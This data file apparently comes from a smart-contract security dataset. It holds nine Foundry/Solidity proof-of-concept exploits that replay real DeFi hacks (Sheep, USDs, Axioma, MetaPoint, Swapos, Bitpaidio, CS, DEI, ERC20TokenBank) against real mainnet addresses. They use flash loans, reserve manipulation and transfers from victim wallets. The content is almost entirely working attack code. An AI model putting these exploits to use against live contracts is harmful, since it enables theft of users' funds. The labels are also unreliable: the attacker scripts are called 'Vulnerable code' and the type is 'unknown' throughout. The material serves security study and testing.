Farseen0/scar-pairs huggingface dataset:
HIGH severity: Sheep exploit (unknown). SPDX-License-Identifier: UNLICENSED @Analysis https://twitter.com/BlockSecTeam/status/1623999717482045440 https://twitter.com/BlockSecTeam/status/1624077078852210691 @TX https://bscscan.com/tx/0x61293c6dd5211a98f1a26c9f6821146e12fb5e20c850ad3ed2528195c8d4c98e Related Events https://github.com/SunWeb

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/BlockSecTeam/status/1623999717482045440
// https://twitter.com/BlockSecTeam/status/1624077078852210691
// @TX
// https://bscscan.com/tx/0x61293c6dd5211a98f1a26c9f6821146e12fb5e20c850ad3ed2528195c8d4c98e
// Related Events
// https://github.com/SunWeb3Sec/DeFiHackLabs/#20230207---fdp---reflection-token
// https://github.com/SunWeb3Sec/DeFiHackLabs/#20230126---tinu---reflection-token

interface RDeflationERC20 is IERC20 {
    function burn(
        uint256 amount
    ) external;
}

contract ContractTest is Test {
    RDeflationERC20 SHEEP = RDeflationERC20(0x0025B42bfc22CbbA6c02d23d4Ec2aBFcf6E014d4);
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    Uni_Pair_V2 Pair = Uni_Pair_V2(0x912DCfBf1105504fB4FF8ce351BEb4d929cE9c24);
    address dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 25_543_755);
    }

    function testExploit() public {
        DVM(dodo).flashLoan(380 * 1e18, 0, address(this), new bytes(1));

        emit log_named_decimal_uint("Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        WBNBToSHEEP();
        while (SHEEP.balanceOf(address(Pair)) > 2) {
            uint256 burnAmount = SHEEP.balanceOf(address(this));
            SHEEP.burn(burnAmount);
        }
        Pair.sync();
        SHEEPToWBNB();
        WBNB.transfer(dodo, 380 * 1e18);
    }

    function WBNBToSHEEP() internal {
        WBNB.approve(address(Router), type(uint256).max);
        address[] memory path = new address[](2);
        path[0] = address(WBNB);
        path[1] = address(SHEEP);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
    }

    function SHEEPToWBNB() internal {
        SHEEP.approve(address(Router), type(uint256).max);
        address[] memory path = new address[](2);
        path[0] = address(SHEEP);
        path[1] = address(WBNB);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            SHEEP.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
    }
}


Vulnerability type: unknown
HIGH severity: USDs exploit (unknown). SPDX-License-Identifier: UNLICENSED @Analysis https://twitter.com/danielvf/status/1621965412832350208 https://medium.com/sperax/usds-feb-3-exploit-report-from-engineering-team-9f0fd3cef00c @TX https://arbiscan.io/tx/0xfaf84cabc3e1b0cf1ff1738dace1b2810f42d98baeea17b146ae032f0bdf82d5

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "forge-std/console.sol";

// @Analysis
// https://twitter.com/danielvf/status/1621965412832350208
// https://medium.com/sperax/usds-feb-3-exploit-report-from-engineering-team-9f0fd3cef00c
// @TX
// https://arbiscan.io/tx/0xfaf84cabc3e1b0cf1ff1738dace1b2810f42d98baeea17b146ae032f0bdf82d5

interface USDs {
    function balanceOf(
        address _account
    ) external returns (uint256);
    function mint(address _account, uint256 _amount) external;
    function transfer(address to, uint256 amount) external returns (bool);
    function vaultAddress() external returns (address);
}

contract USDsTest is Test {
    USDs usds = USDs(0xD74f5255D557944cf7Dd0E45FF521520002D5748);
    address ATTACKER_CONTRACT = address(0xdeadbeef);

    function setUp() public {
        vm.createSelectFork("arbitrum", 57_803_529);

        vm.label(address(usds), "USDs");
        vm.label(0x97A7E6Cf949114Fe4711018485D757b9c4962307, "USDsImpl");
        vm.label(ATTACKER_CONTRACT, "AttackerContract");
        vm.label(address(this), "AttackerAddress");

        vm.prank(usds.vaultAddress());
        usds.mint(address(this), 11e18);
    }

    function testExploit() public {
        usds.transfer(ATTACKER_CONTRACT, 11e18);

        // Etch code. In the real hack this was a Gnosis Safe being deployed
        vm.etch(ATTACKER_CONTRACT, bytes("code"));

        // Trigger balance recalculation
        vm.prank(ATTACKER_CONTRACT);
        usds.transfer(address(this), 1);

        console.log("Attacker Contract balance after: ", usds.balanceOf(ATTACKER_CONTRACT));
    }
}


Vulnerability type: unknown
HIGH severity: Axioma exploit (unknown). SPDX-License-Identifier: MIT

Vulnerable code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

/*
@Analysis
https://twitter.com/HypernativeLabs/status/1650382589847302145
1. buy on presale
2. sale on pancake v2
@TX
https://bscscan.com/tx/0x05eabbb665a5b99490510d0b3f93565f394914294ab4d609895e525b43ff16f2*/

interface IAxiomaPresale {
    function buyToken() external payable;
}

contract ContractTest is Test {
    address axt = 0xB6CF5b77B92a722bF34f6f5D6B1Fe4700908935E;
    address axiomaPresale = 0x2C25aEe99ED08A61e7407A5674BC2d1A72B5D8E3;
    address axt_wbnb_pair = 0x6a3Fa7D2C71fd7D44BF3a2890aA257F34083c90f;
    address payable pancakeRouter = payable(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    address wbnb_usdt_b = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681; // dodo wbnb-usdt pool

    function setUp() public {
        vm.createSelectFork("bsc", 27_620_321 - 1);
    }

    function testExploit() public {
        uint256 flashLoanAmount = 32_500_000_000_000_000_000;
        address wbnb = DVM(wbnb_usdt_b)._BASE_TOKEN_();
        DVM(wbnb_usdt_b).flashLoan(flashLoanAmount, 0, address(this), abi.encode(wbnb_usdt_b, wbnb, flashLoanAmount));
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        (address wbnb_usdt_b, address wbnb, uint256 flashLoanAmount) = abi.decode(data, (address, address, uint256));

        // 1. buy
        WETH(wbnb).withdraw(flashLoanAmount);
        IAxiomaPresale(axiomaPresale).buyToken{value: flashLoanAmount}();

        // 2. sale
        uint256 axtBalance = IERC20(axt).balanceOf(address(this));
        bscSwap(axt, wbnb, axtBalance);

        // 3. payback and get profit
        IERC20(wbnb).transfer(msg.sender, flashLoanAmount);
        uint256 profit = IERC20(wbnb).balanceOf(address(this));
        emit log_named_decimal_uint("[After Attacks]  Attacker WBNB balance", profit, 18);
    }

    fallback() external payable {}

    function bscSwap(address tokenFrom, address tokenTo, uint256 amount) internal {
        IERC20(tokenFrom).approve(pancakeRouter, type(uint256).max);
        address[] memory path = new address[](2);
        path[0] = tokenFrom;
        path[1] = tokenTo;
        IUniswapV2Router(pancakeRouter).swapExactTokensForTokensSupportingFeeOnTransferTokens(
            amount, 0, path, address(this), block.timestamp
        );
    }
}


Vulnerability type: unknown
HIGH severity: MetaPoint exploit (unknown). SPDX-License-Identifier: MIT

Vulnerable code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

/*
@Analysis
https://twitter.com/PeckShieldAlert/status/1645980197987192833
https://twitter.com/Phalcon_xyz/status/1645963327502204929
@TX (one of the txs)
invest
https://bscscan.com/tx/0xdb01fa33bf5b79a3976ed149913ba0a18ddd444a072a2f34a0042bf32e4e7995
withdraw
https://bscscan.com/tx/0x41853747231dcf01017cf419e6e4aa86757e59479964bafdce0921d3e616cc67*/

interface IApprove {
    function approve() external;
}

contract ContractTest is Test {
    address pot = 0x3B5E381130673F794a5CF67FBbA48688386BEa86;
    address usdt = 0x55d398326f99059fF775485246999027B3197955;
    address pot_usdt_pool = 0x9117df9aA33B23c0A9C2C913aD0739273c3930b3;
    address wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);

    function setUp() public {
        vm.createSelectFork("bsc", 27_264_384 - 1);
    }

    function testExploit() public {
        address[11] memory victims = [
            0x724DbEA8A0ec7070de448ef4AF3b95210BDC8DF6,
            0xE5cBd18Db5C1930c0A07696eC908f20626a55E3C,
            0xC254741776A13f0C3eFF755a740A4B2aAe14a136,
            0x5923375f1a732FD919D320800eAeCC25910bEdA3,
            0x68531F3d3A20027ed3A428e90Ddf8e32a9F35DC8,
            0x807d99bfF0bad97e839df3529466BFF09c09E706,
            0xA56622BB16F18AF5B6D6e484a1C716893D0b36DF,
            0x8acb88F90D1f1D67c03379e54d24045D4F6dfDdB,
            0xe8d6502E9601D1a5fAa3855de4a25b5b92690623,
            0x435444d086649B846E9C912D21E1Bc651033A623,
            0x52AeD741B5007B4fb66860b5B31dD4c542D65785
        ];
        // approve
        for (uint256 i = 0; i < victims.length; i++) {
            IApprove(victims[i]).approve();
        }
        // transfer
        for (uint256 i = 0; i < victims.length; i++) {
            uint256 amount = IERC20(pot).balanceOf(victims[i]);
            if (amount == 0) {
                continue;
            }
            IERC20(pot).transferFrom(victims[i], address(this), amount);
        }
        bscSwap(pot, usdt, IERC20(pot).balanceOf(address(this)));
        bscSwap(usdt, wbnb, IERC20(usdt).balanceOf(address(this)));

        uint256 wbnbBalance = IERC20(wbnb).balanceOf(address(this));
        emit log_named_decimal_uint("[After Attacks]  Attacker WBNB balance", wbnbBalance, 18);
    }

    function bscSwap(address tokenFrom, address tokenTo, uint256 amount) internal {
        IERC20(tokenFrom).approve(address(Router), type(uint256).max);
        address[] memory path = new address[](2);
        path[0] = tokenFrom;
        path[1] = tokenTo;
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
    }
}


Vulnerability type: unknown
HIGH severity: Swapos exploit (unknown). SPDX-License-Identifier: UNLICENSED @Analysis https://twitter.com/CertiKAlert/status/1647530789947469825 https://twitter.com/BeosinAlert/status/1647552192243728385 @TX https://etherscan.io/address/0x2df07c054138bf29348f35a12a22550230bd1405 @Contract

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/CertiKAlert/status/1647530789947469825
// https://twitter.com/BeosinAlert/status/1647552192243728385
// @TX
// https://etherscan.io/address/0x2df07c054138bf29348f35a12a22550230bd1405

// @Contract

interface SWAPOS {
    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
    function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
    function balanceOf(
        address
    ) external view returns (uint256);
    function transfer(address to, uint256 value) external returns (bool);
}

contract ContractTest is Test {
    SWAPOS swpToken = SWAPOS(0x09176F68003c06F190ECdF40890E3324a9589557);
    IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
    SWAPOS swapPos = SWAPOS(0x8ce2F9286F50FbE2464BFd881FAb8eFFc8Dc584f);

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 17_057_419);
        cheats.label(address(WETH), "weth");
        cheats.label(address(swpToken), "swpToken");
    }

    function testExploit() external {
        WETH.deposit{value: 3 ether}();
        WETH.transfer(address(swapPos), 10);
        swapPos.swap(142_658_161_144_708_222_114_663, 0, address(this), "");
        (uint256 _reserve0, uint256 _reserve1, uint32 _blockTimestampLast) = swapPos.getReserves();
        emit log_named_decimal_uint("swapos balance", _reserve0, 18);
        emit log_named_decimal_uint("ETH balance", _reserve1, 18);
    }
}


Vulnerability type: unknown
HIGH severity: Bitpaidio exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~30K US$ Attacker : https://bscscan.com/address/0x878a36edfb757e8640ff78b612f839b63adc2e51 Attack Contract : https://bscscan.com/address/0x7b9265c6aa4b026b7220eee2e8697bf5ffa6bb9a Vulnerable Contract : https://bscscan.com/address/0x9d6d817e

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~30K US$
// Attacker : https://bscscan.com/address/0x878a36edfb757e8640ff78b612f839b63adc2e51
// Attack Contract : https://bscscan.com/address/0x7b9265c6aa4b026b7220eee2e8697bf5ffa6bb9a
// Vulnerable Contract : https://bscscan.com/address/0x9d6d817ea5d4a69ff4c4509bea8f9b2534cec108
// Attack Tx : https://bscscan.com/tx/0x1ae499ccf292a2ee5e550702b81a4a7f65cd03af2c604e2d401d52786f459ba6

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x9d6d817ea5d4a69ff4c4509bea8f9b2534cec108#code

// @Analysis
// Twitter Guy : https://twitter.com/BlockSecTeam/status/1657411284076478465

interface IStaking {
    function Lock_Token(uint256 plan, uint256 _amount) external;
    function withdraw(
        uint256 _plan
    ) external;
}

contract ContractTest is Test {
    IERC20 BTP = IERC20(0x40F75eD09c7Bc89Bf596cE0fF6FB2ff8D02aC019);
    IStaking Staking = IStaking(0x9D6d817ea5d4A69fF4C4509bea8F9b2534Cec108);
    Uni_Pair_V2 Pair = Uni_Pair_V2(0x858DE6F832c9b92E2EA5C18582551ccd6add0295);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    uint256 flashAmount = 219_349 * 1e18;

    function setUp() public {
        cheats.createSelectFork("bsc", 28_176_675);
    }

    function testExploit() public {
        firstLock();

        cheats.warp(block.timestamp + 6 * 30 * 24 * 60 * 60 + 1000); // lock 6 month

        Pair.swap(flashAmount, 0, address(this), new bytes(1));

        emit log_named_decimal_uint("Attacker BTP balance after exploit", BTP.balanceOf(address(this)), BTP.decimals());
    }

    function firstLock() internal {
        Staking.Lock_Token(1, 0);
    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
        BTP.approve(address(Staking), type(uint256).max);
        Staking.Lock_Token(1, BTP.balanceOf(address(this)));
        Staking.withdraw(1);
        BTP.transfer(msg.sender, flashAmount * 10_000 / 9975 + 1000);
    }
}


Vulnerability type: unknown
HIGH severity: CS exploit (unknown). SPDX-License-Identifier: UNLICENSED @Analysis https://twitter.com/BlockSecTeam/status/1661098394130198528 https://twitter.com/numencyber/status/1661207123102167041 @TX https://explorer.phalcon.xyz/tx/bsc/0x906394b2ee093720955a7d55bff1666f6cf6239e46bea8af99d6352b9687baa4 @Summary Outdated global vari

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/BlockSecTeam/status/1661098394130198528
// https://twitter.com/numencyber/status/1661207123102167041
// @TX
// https://explorer.phalcon.xyz/tx/bsc/0x906394b2ee093720955a7d55bff1666f6cf6239e46bea8af99d6352b9687baa4
// @Summary
// Outdated global variable `sellAmount` for calculating `burnAmount`

contract CSExp is Test, IPancakeCallee {
    IPancakePair pair = IPancakePair(0x7EFaEf62fDdCCa950418312c6C91Aef321375A00);
    IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 CS = IERC20(0x8BC6Ce23E5e2c4f0A96429E3C9d482d74171215e);

    function setUp() public {
        cheats.createSelectFork("bsc", 28_466_976);
    }

    function testExp() external {
        emit log_named_decimal_uint("[Start] Attacker BUSD Balance", BUSD.balanceOf(address(this)), 18);
        pair.swap(80_000_000 ether, 0, address(this), bytes("123"));
        emit log_named_decimal_uint("[End] Attacker BUSD Balance", BUSD.balanceOf(address(this)), 18);
    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
        require(msg.sender == address(pair));
        BUSD.approve(address(router), BUSD.balanceOf(address(this)));
        address[] memory path = new address[](2);
        path[0] = address(BUSD);
        path[1] = address(CS);
        for (uint256 i = 0; i < 99; ++i) {
            router.swapTokensForExactTokens(
                5000 ether, BUSD.balanceOf(address(this)), path, address(this), block.timestamp + 1000
            );
        }
        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            BUSD.balanceOf(address(this)), 1, path, 0x382e9652AC6854B56FD41DaBcFd7A9E633f1Edd5, block.timestamp + 1000
        );
        CS.approve(address(router), CS.balanceOf(address(this)));
        path[0] = address(CS);
        path[1] = address(BUSD);
        while (CS.balanceOf(address(this)) >= 3000 ether) {
            router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
                3000 ether, 1, path, address(this), block.timestamp + 1000
            );
            CS.transfer(address(this), 2);
        }
        BUSD.transfer(msg.sender, 80_240_000 ether);
    }

    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: DEI exploit (unknown). SPDX-License-Identifier: UNLICENSED @Analysis https://twitter.com/eugenioclrc/status/1654576296507088906 @TX https://arbiscan.io/tx/0xb1141785b7b94eb37c39c37f0272744c6e79ca1517529fec3f4af59d4c3c37ef

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/eugenioclrc/status/1654576296507088906
// @TX
// https://arbiscan.io/tx/0xb1141785b7b94eb37c39c37f0272744c6e79ca1517529fec3f4af59d4c3c37ef

interface IStablePair {
    function sync() external;
    function skim() external;
    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
}

interface IDEI is IERC20 {
    function burnFrom(address account, uint256 amount) external;
}

contract DEIPocTest is Test {
    IStablePair pair = IStablePair(0x7DC406b9B904a52D10E19E848521BbA2dE74888b);
    IDEI DEI = IDEI(0xDE1E704dae0B4051e80DAbB26ab6ad6c12262DA0);
    IERC20 USDC = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("arbitrum", 87_626_024);
    }

    function testExploit() public {
        console.log("DEI balance: ", DEI.balanceOf(address(this)));

        DEI.approve(address(pair), type(uint256).max);
        DEI.burnFrom(address(pair), 0);
        DEI.transferFrom(address(pair), address(this), DEI.balanceOf(address(pair)) - 1);
        console.log("DEI balance from attacker: ", DEI.balanceOf(address(this)));

        pair.sync();

        DEI.transfer(address(pair), DEI.balanceOf(address(this)));
        pair.swap(0, 5_047_470_472_572, address(this), "");
        console.log("USDC balance after: ", USDC.balanceOf(address(this)));
    }
}


Vulnerability type: unknown
HIGH severity: ERC20TokenBank exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~111K USD$ Attacker : https://etherscan.io/address/0xc0ffeebabe5d496b2dde509f9fa189c25cf29671 Attack Contract : https://etherscan.io/address/0x7c28e0977f72c5d08d5e1ac7d52a34db378282b3 Vulnerable Contract : https://etherscan.io/address/0x765

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~111K USD$
// Attacker : https://etherscan.io/address/0xc0ffeebabe5d496b2dde509f9fa189c25cf29671
// Attack Contract : https://etherscan.io/address/0x7c28e0977f72c5d08d5e1ac7d52a34db378282b3
// Vulnerable Contract : https://etherscan.io/address/0x765b8d7cd8ff304f796f4b6fb1bcf78698333f6d
// Attack Tx : https://etherscan.io/tx/0x578a195e05f04b19fd8af6358dc6407aa1add87c3167f053beb990d6b4735f26

// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0x765b8d7cd8ff304f796f4b6fb1bcf78698333f6d#code

// @Analysis
// Twitter Guy : https://twitter.com/BlockSecTeam/status/1663810037788311561

interface IExchangeBetweenPools {
    function doExchange(
        uint256 amounts
    ) external returns (bool);
}

contract ContractTest is Test {
    IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
    IExchangeBetweenPools ExchangeBetweenPools = IExchangeBetweenPools(0x765b8d7Cd8FF304f796f4B6fb1BCf78698333f6D);
    IcurveYSwap curveYSwap = IcurveYSwap(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51);
    Uni_Pair_V3 Pair = Uni_Pair_V3(0x5777d92f208679DB4b9778590Fa3CAB3aC9e2168);
    uint256 victimAmount = 119_023_523_157;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 17_376_906);
        cheats.label(address(USDC), "USDC");
        cheats.label(address(USDT), "USDT");
        cheats.label(address(ExchangeBetweenPools), "ExchangeBetweenPools");
        cheats.label(address(curveYSwap), "curveYSwap");
    }

    function testExploit() external {
        USDC.approve(address(curveYSwap), type(uint256).max);
        address(USDT).call(abi.encodeWithSignature("approve(address,uint256)", address(curveYSwap), type(uint256).max));
        Pair.flash(address(this), 0, 120_000 * 1e6, new bytes(1));

        emit log_named_decimal_uint(
            "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()
        );
    }

    function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {
        curveYSwap.exchange_underlying(1, 2, 120_000 * 1e6, 0);
        ExchangeBetweenPools.doExchange(victimAmount);
        curveYSwap.exchange_underlying(2, 1, USDT.balanceOf(address(this)), 0);
        USDC.transfer(address(Pair), 120_000 * 1e6 + uint256(amount1));
    }
}


Vulnerability type: unknown